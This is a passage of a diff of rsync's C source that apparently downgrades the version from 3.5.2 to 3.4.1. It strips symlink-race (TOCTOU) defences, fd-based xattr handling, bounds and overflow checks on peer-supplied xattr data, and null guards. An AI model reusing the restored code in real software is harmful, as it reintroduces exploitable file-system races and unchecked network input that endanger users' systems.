0;\n-\t\t\t\t}\n-\t\t\t\tclose(dfd);\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\t\t\t} else if (!am_chrooted && !am_sender && !insecure_links) {\n-\t\t\t\t/* Strip the trailing slash: a symlink opened as \"name/\" is\n-\t\t\t\t * always followed, so safe_open's final-component O_NOFOLLOW\n-\t\t\t\t * must see the bare name to refuse an attacker's symlink. */\n-\t\t\t\tchar nf[MAXPATHLEN];\n-\t\t\t\tunsigned int nl = len;\n-\t\t\t\tint dfd;\n-\t\t\t\tif (nl >= sizeof nf) {\n-\t\t\t\t\terrno = ENAMETOOLONG;\n-\t\t\t\t\treturn 0;\n-\t\t\t\t}\n-\t\t\t\tmemcpy(nf, dir, nl + 1);\n-\t\t\t\twhile (nl > 1 && nf[nl-1] == '/')\n-\t\t\t\t\tnf[--nl] = '\\0';\n-\t\t\t\t/* Follow a symlinked dest only when it is owned by uid 0 or our\n-\t\t\t\t * euid (the admin `/backup -> /mnt/disk` pattern and the\n-\t\t\t\t * operator's own symlinks); refuse one an attacker raced in from\n-\t\t\t\t * another uid.  A real dir is opened directly.  This closes the\n-\t\t\t\t * destination chdir TOCTOU; --insecure-links keeps the plain\n-\t\t\t\t * chdir for an operator whose dest is a foreign-owned symlink. */\n-\t\t\t\tdfd = open_no_attacker_symlinks_dirfd(nf);\n-\t\t\t\tif (dfd < 0)\n-\t\t\t\t\treturn 0;\n-\t\t\t\tif (fchdir(dfd) != 0) {\n-\t\t\t\t\tint e = errno;\n-\t\t\t\t\tclose(dfd);\n-\t\t\t\t\terrno = e;\n-\t\t\t\t\treturn 0;\n-\t\t\t\t}\n-\t\t\t\tclose(dfd);\n-#endif\n-\t\t\t} else if (chdir(dir)) {\n-\t\t\t\treturn 0;\n-\t\t\t}\n-\t\t}\n+\t\tif (!set_path_only && chdir(dir))\n+\t\t\treturn 0;\n \t\tskipped_chdir = set_path_only;\n \t\tmemcpy(curr_dir, dir, len + 1);\n \t} else {\n@@ -1407,74 +1150,10 @@ int change_dir(const char *dir, int set_path_only)\n \t\t\tcurr_dir[curr_dir_len++] = '/';\n \t\tmemcpy(curr_dir + curr_dir_len, dir, len + 1);\n \n-\t\tif (!set_path_only) {\n-\t\t\tint chdir_failed;\n-\t\t\t/* In the daemon-without-chroot deployment we must not\n-\t\t\t * follow a symlink in any component of the chdir\n-\t\t\t * target -- otherwise CWD escapes the module and\n-\t\t\t * every subsequent path-relative syscall (open,\n-\t\t\t * chmod, lchown, ...) inherits the escape, which\n-\t\t\t * defeats secure_relative_open's RESOLVE_BENEATH\n-\t\t\t * anchor and re-opens the CVE-2026-29518 class of\n-\t\t\t * symlink TOCTOU attacks. Use the secure resolver\n-\t\t\t * to get a confined dirfd, then fchdir() to it.\n-\t\t\t *\n-\t\t\t * If skipped_chdir is set, a previous CD_SKIP_CHDIR\n-\t\t\t * call buffered an absolute prefix in curr_dir\n-\t\t\t * (e.g. change_pathname's CD_SKIP_CHDIR to orig_dir)\n-\t\t\t * without syncing the kernel's CWD. Resolve `dir`\n-\t\t\t * relative to that prefix as basedir so the secure\n-\t\t\t * branch still anchors at the operator-trusted\n-\t\t\t * directory rather than wherever the kernel CWD\n-\t\t\t * happens to be. */\n-\t\t\tif (am_daemon && (!am_chrooted || module_dirlen) && !symlink_optout_allowed()) {\n-\t\t\t\tconst char *basedir = NULL;\n-\t\t\t\tchar prefix[MAXPATHLEN];\n-\t\t\t\tint dfd;\n-\t\t\t\tif (skipped_chdir) {\n-\t\t\t\t\tif (save_dir_len >= sizeof prefix) {\n-\t\t\t\t\t\terrno = ENAMETOOLONG;\n-\t\t\t\t\t\tchdir_failed = 1;\n-\t\t\t\t\t\tgoto chdir_cleanup;\n-\t\t\t\t\t}\n-\t\t\t\t\tmemcpy(prefix, curr_dir, save_dir_len);\n-\t\t\t\t\tprefix[save_dir_len] = '\\0';\n-\t\t\t\t\tbasedir = prefix;\n-\t\t\t\t}\n-\t\t\t\tdfd = secure_relative_dirfd(basedir, dir);\n-\t\t\t\tif (dfd < 0) {\n-\t\t\t\t\tchdir_failed = 1;\n-\t\t\t\t} else {\n-\t\t\t\t\tchdir_failed = fchdir(dfd) != 0;\n-\t\t\t\t\tclose(dfd);\n-\t\t\t\t}\n-\t\t\t} else if (am_daemon && symlink_optout_allowed()) {\n-\t\t\t\t/* \"insecure links = yes\": restore the 3.2.7 follow-any-symlink\n-\t\t\t\t * traversal with a plain chdir to the accumulated path, the same\n-\t\t\t\t * legacy behaviour the per-operation sites grant under the opt-out. */\n-\t\t\t\tchdir_failed = chdir(curr_dir) != 0;\n-\t\t\t} else if (!am_chrooted && !am_sender && !insecure_links) {\n-\t\t\t\t/* Non-daemon receiver: confine the operator-named relative\n-\t\t\t\t * destination like the absolute case above -- refuse a component\n-\t\t\t\t * symlink not owned by uid 0 or our euid, closing the\n-\t\t\t\t * relative-dest chdir TOCTOU while still following the operator's\n-\t\t\t\t * own symlinks.  --insecure-links keeps the plain chdir. */\n-\t\t\t\tint dfd = open_no_attacker_symlinks_dirfd(curr_dir);\n-\t\t\t\tif (dfd < 0)\n-\t\t\t\t\tchdir_failed = 1;\n-\t\t\t\telse {\n-\t\t\t\t\tchdir_failed = fchdir(dfd) != 0;\n-\t\t\t\t\tclose(dfd);\n-\t\t\t\t}\n-\t\t\t} else {\n-\t\t\t\tchdir_failed = chdir(curr_dir) != 0;\n-\t\t\t}\n-\t\tchdir_cleanup:\n-\t\t\tif (chdir_failed) {\n-\t\t\t\tcurr_dir_len = save_dir_len;\n-\t\t\t\tcurr_dir[curr_dir_len] = '\\0';\n-\t\t\t\treturn 0;\n-\t\t\t}\n+\t\tif (!set_path_only && chdir(curr_dir)) {\n+\t\t\tcurr_dir_len = save_dir_len;\n+\t\t\tcurr_dir[curr_dir_len] = '\\0';\n+\t\t\treturn 0;\n \t\t}\n \t\tskipped_chdir = set_path_only;\n \t}\n@@ -1486,9 +1165,6 @@ int change_dir(const char *dir, int set_path_only)\n \t\tcurr_dir_depth = count_dir_elements(curr_dir + module_dirlen);\n \t}\n \n-\tif (!set_path_only)\t/* a real chdir invalidates the cwd-relative dir-fd stack */\n-\t\treset_dir_fd_cache();\n-\n \tif (DEBUG_GTE(CHDIR, 1) && !set_path_only)\n \t\trprintf(FINFO, \"[%s] change_dir(%s)\\n\", who_am_i(), curr_dir);\n \n@@ -1534,9 +1210,6 @@ char *full_fname(const char *fn)\n \tif (result)\n \t\tfree(result);\n \n-\tif (!fn)\n-\t\tfn = \"(null)\";\n-\n \tif (*fn == '/')\n \t\tp1 = p2 = \"\";\n \telse {\n@@ -1606,30 +1279,22 @@ int handle_partial_dir(const char *fname, int create)\n \n \t*fn = '\\0';\n \tdir = partial_fname;\n-\t/* The --partial-dir is an operator-supplied path (an absolute one may point\n-\t * outside the tree): resolve it with the ownership walk -- follow a\n-\t * uid0/euid-owned symlink, refuse a foreign one, absolute and relative alike.\n-\t * --insecure-links (or a daemon module's \"insecure links =\") opts out. */\n-\toperator_path_resolve = 1;\n \tif (create) {\n \t\tSTRUCT_STAT st;\n-\t\tint statret = do_lstat_at(dir, &st);\n+\t\tint statret = do_lstat(dir, &st);\n \t\tif (statret == 0 && !S_ISDIR(st.st_mode)) {\n-\t\t\tif (do_unlink_at(dir) < 0) {\n-\t\t\t\toperator_path_resolve = 0;\n+\t\t\tif (do_unlink(dir) < 0) {\n \t\t\t\t*fn = '/';\n \t\t\t\treturn 0;\n \t\t\t}\n \t\t\tstatret = -1;\n \t\t}\n-\t\tif (statret < 0 && do_mkdir_at(dir, 0700) < 0) {\n-\t\t\toperator_path_resolve = 0;\n+\t\tif (statret < 0 && do_mkdir(dir, 0700) < 0) {\n \t\t\t*fn = '/';\n \t\t\treturn 0;\n \t\t}\n \t} else\n-\t\tdo_rmdir_at(dir);\n-\toperator_path_resolve = 0;\n+\t\tdo_rmdir(dir);\n \t*fn = '/';\n \n \treturn 1;\n@@ -1724,13 +1389,8 @@ char *timestring(time_t t)\n \tstatic int ndx = 0;\n \tstatic char buffers[4][20]; /* We support 4 simultaneous timestring results. */\n \tchar *TimeBuf = buffers[ndx = (ndx + 1) % 4];\n-\tstruct tm tmp, *tm = localtime_r(&t, &tmp);\n-\tint len;\n-\tif (!tm) {\n-\t\tstrlcpy(TimeBuf, \"(time out of range)\", sizeof buffers[0]);\n-\t\treturn TimeBuf;\n-\t}\n-\tlen = snprintf(TimeBuf, sizeof buffers[0], \"%4d/%02d/%02d %02d:%02d:%02d\",\n+\tstruct tm *tm = localtime(&t);\n+\tint len = snprintf(TimeBuf, sizeof buffers[0], \"%4d/%02d/%02d %02d:%02d:%02d\",\n \t\t (int)tm->tm_year + 1900, (int)tm->tm_mon + 1, (int)tm->tm_mday,\n \t\t (int)tm->tm_hour, (int)tm->tm_min, (int)tm->tm_sec);\n \tassert(len > 0); /* Silence gcc warning */\ndiff --git a/version.h b/version.h\nindex cae750e..e54a4ad 100644\n--- a/version.h\n+++ b/version.h\n@@ -1,2 +1,2 @@\n-#define RSYNC_VERSION \"3.5.2\"\n-#define MAINTAINER_TZ_OFFSET 11.0\n+#define RSYNC_VERSION \"3.4.1\"\n+#define MAINTAINER_TZ_OFFSET -7.0\ndiff --git a/wildtest.c b/wildtest.c\nindex 5867bb1..bea4ceb 100644\n--- a/wildtest.c\n+++ b/wildtest.c\n@@ -23,7 +23,6 @@\n #include \"lib/wildmatch.c\"\n \n #include <popt.h>\n-#include <stdbool.h>\n \n #ifdef COMPARE_WITH_FNMATCH\n #include <fnmatch.h>\n@@ -33,13 +32,15 @@ int fnmatch_errors = 0;\n \n int wildmatch_errors = 0;\n \n+typedef char bool;\n+\n int output_iterations = 0;\n int explode_mod = 0;\n int empties_mod = 0;\n int empty_at_start = 0;\n int empty_at_end = 0;\n \n-static const struct poptOption long_options[] = {\n+static struct poptOption long_options[] = {\n   /* longName, shortName, argInfo, argPtr, value, descrip, argDesc */\n   {\"iterations\",     'i', POPT_ARG_NONE,   &output_iterations, 0, 0, 0},\n   {\"empties\",        'e', POPT_ARG_STRING, 0, 'e', 0, 0},\n@@ -160,17 +161,14 @@ main(int argc, char **argv)\n \t\tflag[i] = 0;\n \t    else\n \t\tflag[i] = -1;\n-\t    if (!*s || (*++s != ' ' && *s != '\\t'))\n+\t    if (*++s != ' ' && *s != '\\t')\n \t\tflag[i] = -1;\n \t    if (flag[i] < 0) {\n \t\tfprintf(stderr, \"Invalid flag syntax on line %d of %s:\\n%s\",\n \t\t\tline, *argv, buf);\n \t\texit(1);\n \t    }\n-\t    if (*s)\n-\t\ts++;\n-\t    while (*s == ' ' || *s == '\\t')\n-\t\ts++;\n+\t    while (*++s == ' ' || *s == '\\t') {}\n \t}\n \tfor (i = 0; i <= 1; i++) {\n \t    if (*s == '\\'' || *s == '\"' || *s == '`') {\n@@ -194,10 +192,7 @@ main(int argc, char **argv)\n \t\twhile (*++s && *s != ' ' && *s != '\\t' && *s != '\\n') {}\n \t\tend[i] = s;\n \t    }\n-\t    if (*s)\n-\t\ts++;\n-\t    while (*s == ' ' || *s == '\\t')\n-\t\ts++;\n+\t    while (*++s == ' ' || *s == '\\t') {}\n \t}\n \t*end[0] = *end[1] = '\\0';\n \trun_test(line, flag[0],\n@@ -207,8 +202,6 @@ main(int argc, char **argv)\n \t\t string[0], string[1]);\n     }\n \n-    fclose(fp);\n-\n     if (!wildmatch_errors)\n \tfputs(\"No\", stdout);\n     else\ndiff --git a/xattrs.c b/xattrs.c\nindex ab7120b..26e50a6 100644\n--- a/xattrs.c\n+++ b/xattrs.c\n@@ -47,8 +47,6 @@ extern int xattr_sum_len;\n \n #define MAX_XATTR_DIGEST_LEN MD5_DIGEST_LEN\n #define MAX_FULL_DATUM 32\n-#define MAX_XATTR_LIST_BYTES ((size_t)512 * 1024 * 1024)\n-#define MAX_XATTR_VALUE_BYTES ((size_t)128 * 1024 * 1024)\n \n #define HAS_PREFIX(str, prfx) (*(str) == *(prfx) && strncmp(str, prfx, sizeof (prfx) - 1) == 0)\n \n@@ -143,10 +141,7 @@ static int rsync_xal_compare_names(const void *x1, const void *x2)\n \treturn strcmp(xa1->name, xa2->name);\n }\n \n-/* List the names of fname's xattrs into the global namebuf.  When fd >= 0 the\n- * list is read from that held fd (sys_flistxattr) so a parent-symlink race\n- * can't redirect it; otherwise it falls back to the path (sys_llistxattr). */\n-static ssize_t get_xattr_names(const char *fname, int fd)\n+static ssize_t get_xattr_names(const char *fname)\n {\n \tssize_t list_len;\n \tint64 arg;\n@@ -158,8 +153,7 @@ static ssize_t get_xattr_names(const char *fname, int fd)\n \n \twhile (1) {\n \t\t/* The length returned includes all the '\\0' terminators. */\n-\t\tlist_len = fd >= 0 ? sys_flistxattr(fd, namebuf, namebuf_len)\n-\t\t\t\t   : sys_llistxattr(fname, namebuf, namebuf_len);\n+\t\tlist_len = sys_llistxattr(fname, namebuf, namebuf_len);\n \t\tif (list_len >= 0) {\n \t\t\tif ((size_t)list_len <= namebuf_len)\n \t\t\t\tbreak;\n@@ -173,8 +167,7 @@ static ssize_t get_xattr_names(const char *fname, int fd)\n \t\t\t\tfull_fname(fname), big_num(arg));\n \t\t\treturn -1;\n \t\t}\n-\t\tlist_len = fd >= 0 ? sys_flistxattr(fd, NULL, 0)\n-\t\t\t\t   : sys_llistxattr(fname, NULL, 0);\n+\t\tlist_len = sys_llistxattr(fname, NULL, 0);\n \t\tif (list_len < 0) {\n \t\t\targ = 0;\n \t\t\tgoto got_error;\n@@ -191,13 +184,9 @@ static ssize_t get_xattr_names(const char *fname, int fd)\n /* On entry, the *len_ptr parameter contains the size of the extra space we\n  * should allocate when we create a buffer for the data.  On exit, it contains\n  * the length of the datum. */\n-/* Read xattr `name`'s value.  When fd >= 0 the read goes through that held fd\n- * (sys_fgetxattr) so a parent-symlink race can't redirect it; otherwise it falls\n- * back to the path (sys_lgetxattr), matching get_xattr_names(). */\n-static char *get_xattr_data(const char *fname, int fd, const char *name, size_t *len_ptr, int no_missing_error)\n+static char *get_xattr_data(const char *fname, const char *name, size_t *len_ptr, int no_missing_error)\n {\n-\tsize_t datum_len = fd >= 0 ? sys_fgetxattr(fd, name, NULL, 0)\n-\t\t\t\t   : sys_lgetxattr(fname, name, NULL, 0);\n+\tsize_t datum_len = sys_lgetxattr(fname, name, NULL, 0);\n \tsize_t extra_len = *len_ptr;\n \tchar *ptr;\n \n@@ -219,8 +208,7 @@ static char *get_xattr_data(const char *fname, int fd, const char *name, size_t\n \tptr = new_array(char, datum_len + extra_len);\n \n \tif (datum_len) {\n-\t\tsize_t len = fd >= 0 ? sys_fgetxattr(fd, name, ptr, datum_len)\n-\t\t\t\t     : sys_lgetxattr(fname, name, ptr, datum_len);\n+\t\tsize_t len = sys_lgetxattr(fname, name, ptr, datum_len);\n \t\tif (len != datum_len) {\n \t\t\tif (len == (size_t)-1) {\n \t\t\t\trsyserr(FERROR_XFER, errno,\n@@ -240,7 +228,7 @@ static char *get_xattr_data(const char *fname, int fd, const char *name, size_t\n \treturn ptr;\n }\n \n-static int rsync_xal_get(const char *fname, int fd, item_list *xalp)\n+static int rsync_xal_get(const char *fname, item_list *xalp)\n {\n \tssize_t list_len, name_len;\n \tsize_t datum_len, name_offset;\n@@ -252,7 +240,7 @@ static int rsync_xal_get(const char *fname, int fd, item_list *xalp)\n \tint count;\n \n \t/* This puts the name list into the \"namebuf\" buffer. */\n-\tif ((list_len = get_xattr_names(fname, fd)) < 0)\n+\tif ((list_len = get_xattr_names(fname)) < 0)\n \t\treturn -1;\n \n \tfor (name = namebuf; list_len > 0; name += name_len) {\n@@ -280,7 +268,7 @@ static int rsync_xal_get(const char *fname, int fd, item_list *xalp)\n \t\t}\n \n \t\tdatum_len = name_len; /* Pass extra size to get_xattr_data() */\n-\t\tif (!(ptr = get_xattr_data(fname, fd, name, &datum_len, 0)))\n+\t\tif (!(ptr = get_xattr_data(fname, name, &datum_len, 0)))\n \t\t\treturn -1;\n \n \t\tif (datum_len > MAX_FULL_DATUM) {\n@@ -307,19 +295,13 @@ static int rsync_xal_get(const char *fname, int fd, item_list *xalp)\n \trxa = xalp->items;\n \tif (count > 1)\n \t\tqsort(rxa, count, sizeof (rsync_xa), rsync_xal_compare_names);\n-\t/* Guard count==0: rxa is then xalp->items (possibly NULL) and the\n-\t * \"rxa += count-1\" init would form NULL-1 (undefined). */\n-\tif (count) {\n-\t\tfor (rxa += count-1; count; count--, rxa--)\n-\t\t\trxa->num = count;\n-\t}\n+\tfor (rxa += count-1; count; count--, rxa--)\n+\t\trxa->num = count;\n \treturn 0;\n }\n \n /* Read the xattr(s) for this filename. */\n-/* Collect fname's xattrs into sxp.  fd >= 0 reads them through that held fd\n- * (race-safe); fd < 0 uses the path. */\n-int get_xattr(const char *fname, int fd, stat_x *sxp)\n+int get_xattr(const char *fname, stat_x *sxp)\n {\n \tsxp->xattr = new(item_list);\n \t*sxp->xattr = empty_xattr;\n@@ -344,18 +326,14 @@ int get_xattr(const char *fname, int fd, stat_x *sxp)\n \t} else if (IS_MISSING_FILE(sxp->st))\n \t\treturn 0;\n \n-\tif (rsync_xal_get(fname, fd, sxp->xattr) < 0) {\n+\tif (rsync_xal_get(fname, sxp->xattr) < 0) {\n \t\tfree_xattr(sxp);\n \t\treturn -1;\n \t}\n \treturn 0;\n }\n \n-/* Copy xattrs from source to dest.  source_fd/dest_fd, when >= 0, are held\n- * O_NOFOLLOW-opened fds so the source read (fgetxattr) and the dest set\n- * (fsetxattr) can't be redirected by a parent-symlink race; a < 0 fd keeps the\n- * path-based l-variant (non-hardened receivers, or no held fd available). */\n-int copy_xattrs(const char *source, int source_fd, const char *dest, int dest_fd)\n+int copy_xattrs(const char *source, const char *dest)\n {\n \tssize_t list_len, name_len;\n \tsize_t datum_len;\n@@ -365,7 +343,7 @@ int copy_xattrs(const char *source, int source_fd, const char *dest, int dest_fd\n #endif\n \n \t/* This puts the name list into the \"namebuf\" buffer. */\n-\tif ((list_len = get_xattr_names(source, source_fd)) < 0)\n+\tif ((list_len = get_xattr_names(source)) < 0)\n \t\treturn -1;\n \n \tfor (name = namebuf; list_len > 0; name += name_len) {\n@@ -383,16 +361,14 @@ int copy_xattrs(const char *source, int source_fd, const char *dest, int dest_fd\n #endif\n \n \t\tdatum_len = 0;\n-\t\tif (!(ptr = get_xattr_data(source, source_fd, name, &datum_len, 0)))\n+\t\tif (!(ptr = get_xattr_data(source, name, &datum_len, 0)))\n \t\t\treturn -1;\n-\t\tif ((dest_fd >= 0 ? sys_fsetxattr(dest_fd, name, ptr, datum_len)\n-\t\t\t\t  : sys_lsetxattr(dest, name, ptr, datum_len)) < 0) {\n+\t\tif (sys_lsetxattr(dest, name, ptr, datum_len) < 0) {\n \t\t\tint save_errno = errno ? errno : EINVAL;\n \t\t\trsyserr(FERROR_XFER, errno,\n-\t\t\t\t\"copy_xattrs: %ssetxattr(%s,\\\"%s\\\") failed\",\n-\t\t\t\tdest_fd >= 0 ? \"f\" : \"l\", full_fname(dest), name);\n+\t\t\t\t\"copy_xattrs: lsetxattr(%s,\\\"%s\\\") failed\",\n+\t\t\t\tfull_fname(dest), name);\n \t\t\terrno = save_errno;\n-\t\t\tfree(ptr);\n \t\t\treturn -1;\n \t\t}\n \t\tfree(ptr);\n@@ -405,19 +381,17 @@ static int64 xattr_lookup_hash(const item_list *xalp)\n {\n \tconst rsync_xa *rxas = xalp->items;\n \tsize_t i;\n-\t/* Accumulate unsigned: the summed hash values routinely overflow a\n-\t * signed int64 (UB), and we only care about the resulting bit pattern. */\n-\tuint64_t key = (uint64_t)hashlittle2(&xalp->count, sizeof xalp->count);\n+\tint64 key = hashlittle2(&xalp->count, sizeof xalp->count);\n \n \tfor (i = 0; i < xalp->count; i++) {\n-\t\tkey += (uint64_t)hashlittle2(rxas[i].name, rxas[i].name_len);\n+\t\tkey += hashlittle2(rxas[i].name, rxas[i].name_len);\n \t\tif (rxas[i].datum_len > MAX_FULL_DATUM)\n-\t\t\tkey += (uint64_t)hashlittle2(rxas[i].datum, xattr_sum_len);\n+\t\t\tkey += hashlittle2(rxas[i].datum, xattr_sum_len);\n \t\telse\n-\t\t\tkey += (uint64_t)hashlittle2(rxas[i].datum, rxas[i].datum_len);\n+\t\t\tkey += hashlittle2(rxas[i].datum, rxas[i].datum_len);\n \t}\n \n-\treturn (int64)key;\n+\treturn key;\n }\n \n static int find_matching_xattr(const item_list *xalp)\n@@ -486,9 +460,7 @@ static int rsync_xal_store(item_list *xalp)\n \t * entire initial-count, not just enough space for one new item. */\n \t*new_list = empty_xa_list;\n \t(void)EXPAND_ITEM_LIST(&new_list->xa_items, rsync_xa, xalp->count);\n-\t/* xalp->items is NULL for an empty list; memcpy(dst, NULL, 0) is UB. */\n-\tif (xalp->count)\n-\t\tmemcpy(new_list->xa_items.items, xalp->items, xalp->count * sizeof (rsync_xa));\n+\tmemcpy(new_list->xa_items.items, xalp->items, xalp->count * sizeof (rsync_xa));\n \tnew_list->xa_items.count = xalp->count;\n \txalp->count = 0;\n \n@@ -686,7 +658,7 @@ void send_xattr_request(const char *fname, struct file_struct *file, int f_out)\n \t\t\tchar *ptr;\n \n \t\t\t/* Re-read the long datum. */\n-\t\t\tif (!(ptr = get_xattr_data(fname, -1, rxa->name, &len, 0))) {\n+\t\t\tif (!(ptr = get_xattr_data(fname, rxa->name, &len, 0))) {\n \t\t\t\trprintf(FERROR_XFER, \"failed to re-read xattr %s for %s\\n\", rxa->name, fname);\n \t\t\t\twrite_varint(f_out, 0);\n \t\t\t\tcontinue;\n@@ -725,13 +697,6 @@ int recv_xattr_request(struct file_struct *file, int f_in)\n \trxa = lst->items;\n \tnum = 0;\n \twhile ((rel_pos = read_varint(f_in)) != 0) {\n-\t\t/* Detect signed overflow before the accumulating add. A hostile\n-\t\t * peer could otherwise wrap 'num' to land on an arbitrary value. */\n-\t\tif ((rel_pos > 0 && num > INT_MAX - rel_pos)\n-\t\t || (rel_pos < 0 && num < INT_MIN - rel_pos)) {\n-\t\t\trprintf(FERROR, \"xattr rel_pos accumulation overflow [%s]\\n\", who_am_i());\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t}\n \t\tnum += rel_pos;\n \t\tif (am_sender) {\n \t\t\t/* The sender-related num values are only in order on the sender.\n@@ -777,11 +742,7 @@ int recv_xattr_request(struct file_struct *file, int f_in)\n \t\t}\n \n \t\told_datum = rxa->datum;\n-\t\trxa->datum_len = read_varint_size(f_in, MAX_WIRE_XATTR_DATALEN, \"xattr datum_len\");\n-\t\tif (rxa->datum_len > MAX_XATTR_VALUE_BYTES) {\n-\t\t\trprintf(FERROR, \"xattr datum_len exceeds per-value limit [%s]\\n\", who_am_i());\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t}\n+\t\trxa->datum_len = read_varint(f_in);\n \n \t\tif (SIZE_MAX - rxa->name_len < rxa->datum_len)\n \t\t\toverflow_exit(\"recv_xattr_request\");\n@@ -810,7 +771,6 @@ void receive_xattr(int f, struct file_struct *file)\n \tint need_sort = 1;\n #endif\n \tint ndx = read_varint(f);\n-\tsize_t total_xattr_bytes = 0;\n \n \tif (ndx < 0 || (size_t)ndx > rsync_xal_l.count) {\n \t\trprintf(FERROR, \"receive_xattr: xa index %d out of\"\n@@ -823,8 +783,7 @@ void receive_xattr(int f, struct file_struct *file)\n \t\treturn;\n \t}\n \n-\tcount = read_varint_bounded(f, 0, MAX_WIRE_XATTR_COUNT, \"xattr count\");\n-\tif (count != 0) {\n+\tif ((count = read_varint(f)) != 0) {\n \t\t(void)EXPAND_ITEM_LIST(&temp_xattr, rsync_xa, count);\n \t\ttemp_xattr.count = 0;\n \t}\n@@ -832,23 +791,10 @@ void receive_xattr(int f, struct file_struct *file)\n \tfor (num = 1; num <= count; num++) {\n \t\tchar *ptr, *name;\n \t\trsync_xa *rxa;\n-\t\tsize_t name_len = read_varint_size(f, MAX_WIRE_XATTR_NAMELEN, \"xattr name_len\");\n-\t\tsize_t datum_len = read_varint_size(f, MAX_WIRE_XATTR_DATALEN, \"xattr datum_len\");\n+\t\tsize_t name_len = read_varint(f);\n+\t\tsize_t datum_len = read_varint(f);\n \t\tsize_t dget_len = datum_len > MAX_FULL_DATUM ? 1 + (size_t)xattr_sum_len : datum_len;\n \t\tsize_t extra_len = MIGHT_NEED_RPRE ? RPRE_LEN : 0;\n-\t\tif (datum_len > MAX_XATTR_VALUE_BYTES) {\n-\t\t\trprintf(FERROR, \"xattr datum_len exceeds per-value limit [%s]\\n\", who_am_i());\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t}\n-\t\tif (SIZE_MAX - total_xattr_bytes < name_len\n-\t\t || SIZE_MAX - total_xattr_bytes - name_len < datum_len) {\n-\t\t\toverflow_exit(\"receive_xattr\");\n-\t\t}\n-\t\ttotal_xattr_bytes += name_len + datum_len;\n-\t\tif (total_xattr_bytes > MAX_XATTR_LIST_BYTES) {\n-\t\t\trprintf(FERROR, \"xattr list exceeds per-file limit [%s]\\n\", who_am_i());\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t}\n \t\tif (SIZE_MAX - dget_len < extra_len || SIZE_MAX - dget_len - extra_len < name_len)\n \t\t\toverflow_exit(\"receive_xattr\");\n \t\tptr = new_array(char, dget_len + extra_len + name_len);\n@@ -914,8 +860,8 @@ void receive_xattr(int f, struct file_struct *file)\n \t\trxa->num = num;\n \t}\n \n-\tif (need_sort && temp_xattr.count > 1)\n-\t\tqsort(temp_xattr.items, temp_xattr.count, sizeof (rsync_xa), rsync_xal_compare_names);\n+\tif (need_sort && count > 1)\n+\t\tqsort(temp_xattr.items, count, sizeof (rsync_xa), rsync_xal_compare_names);\n \n \tndx = rsync_xal_store(&temp_xattr); /* adds item to rsync_xal_l */\n \n@@ -935,7 +881,7 @@ void cache_tmp_xattr(struct file_struct *file, stat_x *sxp)\n \t\tprior_xattr_count = rsync_xal_l.count;\n \tndx = find_matching_xattr(sxp->xattr);\n \tif (ndx < 0)\n-\t\tndx = rsync_xal_store(sxp->xattr); /* adds item to rsync_xal_l */\n+\t\trsync_xal_store(sxp->xattr); /* adds item to rsync_xal_l */\n \n \tF_XATTR(file) = ndx;\n }\n@@ -987,12 +933,8 @@ void uncache_tmp_xattrs(void)\n \t}\n }\n \n-/* Apply the wanted xattr set to fname.  When fd >= 0, the list/set/remove ops\n- * that target fname go through that held fd (sys_f*xattr) so a parent-symlink\n- * race can't redirect them; the abbreviated-value compare still reads the basis\n- * via the fnamecmp path.  fd < 0 keeps the path-based behavior. */\n static int rsync_xal_set(const char *fname, item_list *xalp,\n-\t\t\t const char *fnamecmp, stat_x *sxp, int fd)\n+\t\t\t const char *fnamecmp, stat_x *sxp)\n {\n \trsync_xa *rxas = xalp->items;\n \tssize_t list_len;\n@@ -1005,7 +947,7 @@ static int rsync_xal_set(const char *fname, item_list *xalp,\n \tint ret = 0;\n \n \t/* This puts the current name list into the \"namebuf\" buffer. */\n-\tif ((list_len = get_xattr_names(fname, fd)) < 0)\n+\tif ((list_len = get_xattr_names(fname)) < 0)\n \t\treturn -1;\n \n \tfor (i = 0; i < xalp->count; i++) {\n@@ -1014,7 +956,7 @@ static int rsync_xal_set(const char *fname, item_list *xalp,\n \t\tif (XATTR_ABBREV(rxas[i])) {\n \t\t\t/* See if the fnamecmp version is identical. */\n \t\t\tlen = name_len = rxas[i].name_len;\n-\t\t\tif ((ptr = get_xattr_data(fnamecmp, -1, name, &len, 1)) == NULL) {\n+\t\t\tif ((ptr = get_xattr_data(fnamecmp, name, &len, 1)) == NULL) {\n \t\t\t  still_abbrev:\n \t\t\t\tif (am_generator)\n \t\t\t\t\tcontinue;\n@@ -1038,11 +980,10 @@ static int rsync_xal_set(const char *fname, item_list *xalp,\n \n \t\t\tif (fname == fnamecmp)\n \t\t\t\t; /* Value is already set when identical */\n-\t\t\telse if ((fd >= 0 ? sys_fsetxattr(fd, name, ptr, len)\n-\t\t\t\t\t  : sys_lsetxattr(fname, name, ptr, len)) < 0) {\n+\t\t\telse if (sys_lsetxattr(fname, name, ptr, len) < 0) {\n \t\t\t\trsyserr(FERROR_XFER, errno,\n-\t\t\t\t\t\"rsync_xal_set: %ssetxattr(%s,\\\"%s\\\") failed\",\n-\t\t\t\t\tfd >= 0 ? \"f\" : \"l\", full_fname(fname), name);\n+\t\t\t\t\t\"rsync_xal_set: lsetxattr(%s,\\\"%s\\\") failed\",\n+\t\t\t\t\tfull_fname(fname), name);\n \t\t\t\tret = -1;\n \t\t\t} else /* make sure caller sets mtime */\n \t\t\t\tsxp->st.st_mtime = (time_t)-1;\n@@ -1055,16 +996,15 @@ static int rsync_xal_set(const char *fname, item_list *xalp,\n \t\t\tmemcpy(ptr + len, name, name_len);\n \t\t\tfree(rxas[i].datum);\n \n-\t\t\trxas[i].name = ptr + len;\n+\t\t\trxas[i].name = name = ptr + len;\n \t\t\trxas[i].datum = ptr;\n \t\t\tcontinue;\n \t\t}\n \n-\t\tif ((fd >= 0 ? sys_fsetxattr(fd, name, rxas[i].datum, rxas[i].datum_len)\n-\t\t\t     : sys_lsetxattr(fname, name, rxas[i].datum, rxas[i].datum_len)) < 0) {\n+\t\tif (sys_lsetxattr(fname, name, rxas[i].datum, rxas[i].datum_len) < 0) {\n \t\t\trsyserr(FERROR_XFER, errno,\n-\t\t\t\t\"rsync_xal_set: %ssetxattr(%s,\\\"%s\\\") failed\",\n-\t\t\t\tfd >= 0 ? \"f\" : \"l\", full_fname(fname), name);\n+\t\t\t\t\"rsync_xal_set: lsetxattr(%s,\\\"%s\\\") failed\",\n+\t\t\t\tfull_fname(fname), name);\n \t\t\tret = -1;\n \t\t} else /* make sure caller sets mtime */\n 